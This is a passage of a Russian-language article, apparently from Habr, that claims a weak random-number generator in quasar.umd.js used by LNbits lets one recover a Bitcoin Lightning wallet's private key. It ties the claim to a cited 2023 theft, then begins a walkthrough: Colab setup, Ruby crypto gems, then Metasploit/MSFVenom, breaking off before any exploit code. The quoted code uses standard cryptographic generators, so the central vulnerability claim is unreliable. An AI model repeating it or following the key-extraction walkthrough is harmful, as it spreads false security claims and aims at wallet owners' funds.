\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u0438\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u00a0<a href=\"https:\/\/security.snyk.io\/package\/npm\/@diorray%2Fvue-auth\" rel=\"noopener noreferrer nofollow\"><u>Snyk Vulnerability Database<\/u><\/a>\u00a0\u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445\u00a0<strong>Vue.js<\/strong>\u00a0\u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0438\u0441\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u0432\u0435\u0440\u0441\u0438\u0438\u00a0<a href=\"https:\/\/github.com\/lnbits\/lnbits\/releases\/tag\/0.11.0\" rel=\"noopener noreferrer nofollow\"><strong><u>LNbits v0.11.0<\/u><\/strong><\/a>\u00a0\u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0441\u0435\u0440\u0438\u044e \u0446\u0438\u043a\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u043a\u043e\u0434\u0435\u00a0<a href=\"https:\/\/github.com\/lnbits\/lnbits\/blob\/3e142fab0f1cc54ec828ced73f61e4570d2053bd\/lnbits\/static\/vendor\/quasar.umd.js#L14739\" rel=\"noopener noreferrer nofollow\"><u>quasar.umd.js<\/u><\/a><\/p>\n<hr\/>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/2b3\/96b\/a9c\/2b396ba9c78d107802f66740dff81d5a.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\"Snyk Vulnerability Database\" width=\"1024\" height=\"407\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/2b3\/96b\/a9c\/2b396ba9c78d107802f66740dff81d5a.png\"\/><\/p>\n<div><figcaption><a href=\"https:\/\/security.snyk.io\/package\/npm\/@diorray%2Fvue-auth\" rel=\"noopener noreferrer nofollow\"><u>Snyk Vulnerability Database<\/u><\/a><\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<h3>\u041e\u0448\u0438\u0431\u043a\u0430 \u0432 \u043a\u043e\u0434\u0435\u00a0quasar.umd.js<\/h3>\n<pre><code>  \/\/ Use best available PRNG   var randomBytes = (function () {     \/\/ Node &amp; Browser support     var lib = typeof crypto !== 'undefined'       ? crypto       : (         typeof window !== 'undefined'           ? window.msCrypto \/\/ IE11           : void 0       );      if (lib !== void 0) {       if (lib.randomBytes !== void 0) {         return lib.randomBytes       }       if (lib.getRandomValues !== void 0) {         return function (n) {           var bytes = new Uint8Array(n);           lib.getRandomValues(bytes);           return bytes         }       }     }<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/550\/19d\/353\/55019d35349dca8f72a766180acc1bad.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\"GitHub Repo\" width=\"1024\" height=\"773\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/550\/19d\/353\/55019d35349dca8f72a766180acc1bad.png\"\/><\/p>\n<div><figcaption><a href=\"https:\/\/github.com\/lnbits\/lnbits\/blob\/3e142fab0f1cc54ec828ced73f61e4570d2053bd\/lnbits\/static\/vendor\/quasar.umd.js#L14739\" rel=\"noopener noreferrer nofollow\"><strong><u>GitHub Repo<\/u><\/strong><\/a><\/figcaption><\/div>\n<\/figure>\n<p>\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441\u043b\u0430\u0431\u043e\u0433\u043e \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u043f\u0441\u0435\u0432\u0434\u043e\u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0445 \u0447\u0438\u0441\u0435\u043b\u00a0<code>(PRNG)<\/code>\u00a0\u043d\u0430\u043c \u0434\u0430\u0435\u0442\u0441\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c\u00a0<code>SEED<\/code>\u00a0\u0438 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c\u00a0<em>\u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447<\/em>\u00a0\u043a \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u044c\u043a\u0443, \u0442\u0430\u043a \u043a\u0430\u043a \u043c\u0435\u0442\u043e\u0434\u00a0<code>lib.getRandomValues<\/code>\u00a0\u0442\u0435\u0440\u044f\u0435\u0442 \u043a\u0440\u0438\u043f\u0442\u043e\u0441\u0442\u043e\u0439\u043a\u043e\u0441\u0442\u044c \u043d\u0430\u0434 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c.<\/p>\n<h3>\u041f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043a \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0447\u0430\u0441\u0442\u0438:<\/h3>\n<p>(\u0412\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0433\u043e\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b \u043e\u0442\u00a0<a href=\"https:\/\/colab.research.google.com\/drive\/1bW9y3vB4VdvJBzJR3eBMRsBecsfwDIkV\" rel=\"noopener noreferrer nofollow\"><strong><u>Jupyter Notebook\u00a0<\/u><\/strong><\/a>\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0432 \u0431\u043b\u043e\u043a\u043d\u043e\u0442<a href=\"https:\/\/colab.research.google.com\/drive\/1bW9y3vB4VdvJBzJR3eBMRsBecsfwDIkV\" rel=\"noopener noreferrer nofollow\"><strong><u>\u00a0Google Colab\u00a0<\/u><\/strong><\/a>)<\/p>\n<hr\/>\n<p><a href=\"https:\/\/colab.research.google.com\/drive\/1bW9y3vB4VdvJBzJR3eBMRsBecsfwDIkV\" rel=\"noopener noreferrer nofollow\"><strong><u>https:\/\/colab.research.google.com\/drive\/1bW9y3vB4VdvJBzJR3eBMRsBecsfwDIkV<\/u><\/strong><\/a><\/p>\n<hr\/>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/282\/015\/2af\/2820152af35b0a31ef2a9965671e5506.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\"https:\/\/github.com\/demining\/CryptoDeepTools\/tree\/main\/26BitcoinLightningWalletVulnerability\" width=\"1024\" height=\"164\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/282\/015\/2af\/2820152af35b0a31ef2a9965671e5506.png\"\/><\/p>\n<div><figcaption><a href=\"https:\/\/github.com\/demining\/CryptoDeepTools\/tree\/main\/26BitcoinLightningWalletVulnerability\" rel=\"noopener noreferrer nofollow\"><strong><u>https:\/\/github.com\/demining\/CryptoDeepTools\/tree\/main\/26BitcoinLightningWalletVulnerability<\/u><\/strong><\/a><\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<p>\u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u0438\u043c\u0435\u0440 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u044c\u043a\u0430 \u0438\u0437 \u0441\u043b\u0430\u0431\u043e\u0433\u043e \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u043f\u0441\u0435\u0432\u0434\u043e\u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0445 \u0447\u0438\u0441\u0435\u043b\u00a0<code>(PRNG)<\/code>\u00a0\u0432 \u043a\u043e\u0434\u0435\u00a0<a href=\"https:\/\/github.com\/lnbits\/lnbits\/blob\/3e142fab0f1cc54ec828ced73f61e4570d2053bd\/lnbits\/static\/vendor\/quasar.umd.js#L14739\" rel=\"noopener noreferrer nofollow\"><strong><u>quasar.umd.js<\/u><\/strong><\/a><\/p>\n<h3><\/h3>\n<hr\/>\n<blockquote>\n<p><strong><em>\u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u0435\u043a<\/em><\/strong><em>: \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435\u00a0<\/em><code>2023<\/code>\u00a0\u0433\u043e\u0434\u0430 \u0431\u044b\u043b\u0430 \u043a\u0440\u0430\u0436\u0430 \u043d\u0430 \u0441\u0443\u043c\u043c\u0443:\u00a0<code>11032.77<\/code>\u00a0\u0434\u043e\u043b\u043b\u0430\u0440\u043e\u0432 \u0421\u0428\u0410 \/\/ \u0411\u0418\u0422\u041a\u041e\u0418\u041d:\u00a0<code>0.30412330 BTC<\/code><\/p>\n<\/blockquote>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/267\/31f\/360\/26731f36010b47faa25b4b57fc1f7503.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" width=\"513\" height=\"476\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/267\/31f\/360\/26731f36010b47faa25b4b57fc1f7503.png\"\/><\/p>\n<div><figcaption>\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework<\/figcaption><\/div>\n<\/figure>\n<p><code>Bitcoin_Lightning_Wallet_Vulnerability.ipynb<\/code><\/p>\n<hr\/>\n<blockquote>\n<p><em>\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u00a0<\/em><a href=\"https:\/\/colab.research.google.com\/\" rel=\"noopener noreferrer nofollow\"><em><u>Google Colab<\/u><\/em><\/a><em>\u00a0\u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435:\u00a0<\/em><a href=\"https:\/\/colab.research.google.com\/\" rel=\"noopener noreferrer nofollow\"><em><u>https:\/\/colab.research.google.com<\/u><\/em><\/a><\/p>\n<\/blockquote>\n<hr\/>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/e4c\/853\/9c7\/e4c8539c7b8d371f750b84cfec821ea9.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"674\" height=\"749\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/e4c\/853\/9c7\/e4c8539c7b8d371f750b84cfec821ea9.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<blockquote>\n<p><em>\u041d\u0430\u0436\u0438\u043c\u0430\u0435\u043c \u043d\u0430\u00a0<\/em><code>\"+\"<\/code>\u00a0\u0438\u00a0<strong><em>\u201c\u0421\u043e\u0437\u0434\u0430\u0435\u043c \u043d\u043e\u0432\u044b\u0439 \u0431\u043b\u043e\u043a\u043d\u043e\u0442\u201d<\/em><\/strong><\/p>\n<\/blockquote>\n<hr\/>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/5a5\/d8e\/ddb\/5a5d8eddb93ac5f56e07bd164bdad607.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"890\" height=\"304\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/5a5\/d8e\/ddb\/5a5d8eddb93ac5f56e07bd164bdad607.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<h3>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c Ruby \u0432 Google Colab<\/h3>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/21c\/352\/678\/21c352678a2147969f83a5d5a63689a4.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"1024\" height=\"487\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/21c\/352\/678\/21c352678a2147969f83a5d5a63689a4.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<blockquote>\n<p><em>\u0414\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0445 \u043d\u0430\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u043e\u0431\u044a\u0435\u043a\u0442\u043d\u043e-\u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u044f\u0437\u044b\u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f\u00a0<\/em><a href=\"https:\/\/www.ruby-lang.org\/\" rel=\"noopener noreferrer nofollow\"><strong><em><u>Ruby<\/u><\/em><\/strong><\/a><\/p>\n<\/blockquote>\n<hr\/>\n<pre><code>!sudo apt install ruby-full<\/code><\/pre>\n<hr\/>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/9d9\/901\/074\/9d99010746818e575090ea86df4eb648.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"1024\" height=\"779\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/9d9\/901\/074\/9d99010746818e575090ea86df4eb648.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<blockquote>\n<p><em>\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0432\u0435\u0440\u0441\u0438\u044e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438<\/em><\/p>\n<\/blockquote>\n<hr\/>\n<pre><code>!ruby --version<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/83e\/3c9\/4c9\/83e3c94c901f6bd314a0cccdd4265b8b.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\"\u0412\u0435\u0440\u0441\u0438\u044f ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu]\" width=\"731\" height=\"103\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/83e\/3c9\/4c9\/83e3c94c901f6bd314a0cccdd4265b8b.png\"\/><\/p>\n<div><figcaption>\u0412\u0435\u0440\u0441\u0438\u044f ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu]<\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<blockquote>\n<p><em>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443\u00a0<\/em><code>'bitcoin-ruby'<\/code>\u00a0\u0434\u043b\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u043c\/\u0441\u0435\u0442\u044c\u044e \u0411\u0438\u0442\u043a\u043e\u0438\u043d<\/p>\n<\/blockquote>\n<hr\/>\n<pre><code>!gem install bitcoin-ruby<\/code><\/pre>\n<hr\/>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/7a6\/b46\/d95\/7a6b46d95e1b187808d8b8db5ba7860b.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"1024\" height=\"699\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/7a6\/b46\/d95\/7a6b46d95e1b187808d8b8db5ba7860b.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<blockquote>\n<p><em>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443\u00a0<\/em><code>'ecdsa'<\/code>\u00a0\u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c\u0430 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u043d\u0430 \u044d\u043b\u043b\u0438\u043f\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u0440\u0438\u0432\u043e\u0439 (ECDSA)<\/p>\n<\/blockquote>\n<hr\/>\n<pre><code>!gem install ecdsa<\/code><\/pre>\n<hr\/>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/456\/aae\/b90\/456aaeb90b71a088522b6abefa040824.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"805\" height=\"382\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/456\/aae\/b90\/456aaeb90b71a088522b6abefa040824.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<blockquote>\n<p><em>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443\u00a0<\/em><code>'base58'<\/code>\u00a0\u0434\u043b\u044f \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0446\u0435\u043b\u044b\u0445 \u0438\u043b\u0438 \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u0445 \u0447\u0438\u0441\u0435\u043b \u0432\u00a0<code>base58<\/code>\u00a0\u0438 \u043e\u0431\u0440\u0430\u0442\u043d\u043e.<\/p>\n<\/blockquote>\n<hr\/>\n<pre><code>!gem install base58<\/code><\/pre>\n<hr\/>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/936\/0b4\/667\/9360b4667198b26a2edf916c59e210b5.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"807\" height=\"388\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/936\/0b4\/667\/9360b4667198b26a2edf916c59e210b5.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<blockquote>\n<p><em>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443\u00a0<\/em><code>'crypto'<\/code>\u00a0\u0447\u0442\u043e\u0431\u044b \u0443\u043f\u0440\u043e\u0441\u0442\u0438\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0441 \u0431\u0430\u0439\u0442\u0430\u043c\u0438 \u0438 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c\u0438 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438<\/p>\n<\/blockquote>\n<hr\/>\n<pre><code>!gem install crypto<\/code><\/pre>\n<hr\/>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/f81\/7c3\/f71\/f817c3f718cc56f1c2d15557f4ff3b48.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"817\" height=\"389\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/f81\/7c3\/f71\/f817c3f718cc56f1c2d15557f4ff3b48.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<blockquote>\n<p><em>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443\u00a0<\/em><code>'config-hash'<\/code>\u00a0\u0447\u0442\u043e\u0431\u044b \u0443\u043f\u0440\u043e\u0441\u0442\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443 \u0441 \u0431\u043e\u043b\u044c\u0448\u0438\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438.<\/p>\n<\/blockquote>\n<hr\/>\n<pre><code>!gem install config-hash -v 0.9.0<\/code><\/pre>\n<hr\/>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/8a7\/a07\/abb\/8a7a07abbdb75a5347888125c3b67cf2.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"844\" height=\"387\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/8a7\/a07\/abb\/8a7a07abbdb75a5347888125c3b67cf2.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<h3>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c Metasploit Framework \u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f MSFVenom<\/h3>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/66c\/45b\/632\/66c45b6325b9971f0d5384a8a9af7240.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"1024\" height=\"506\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/66c\/45b\/632\/66c45b6325b9971f0d5384a8a9af7240.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<blockquote>\n<p><em>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043c\u00a0<\/em><a href=\"https:\/\/www.metasploit.com\/\" rel=\"noopener noreferrer nofollow\"><em><u>Metasploit 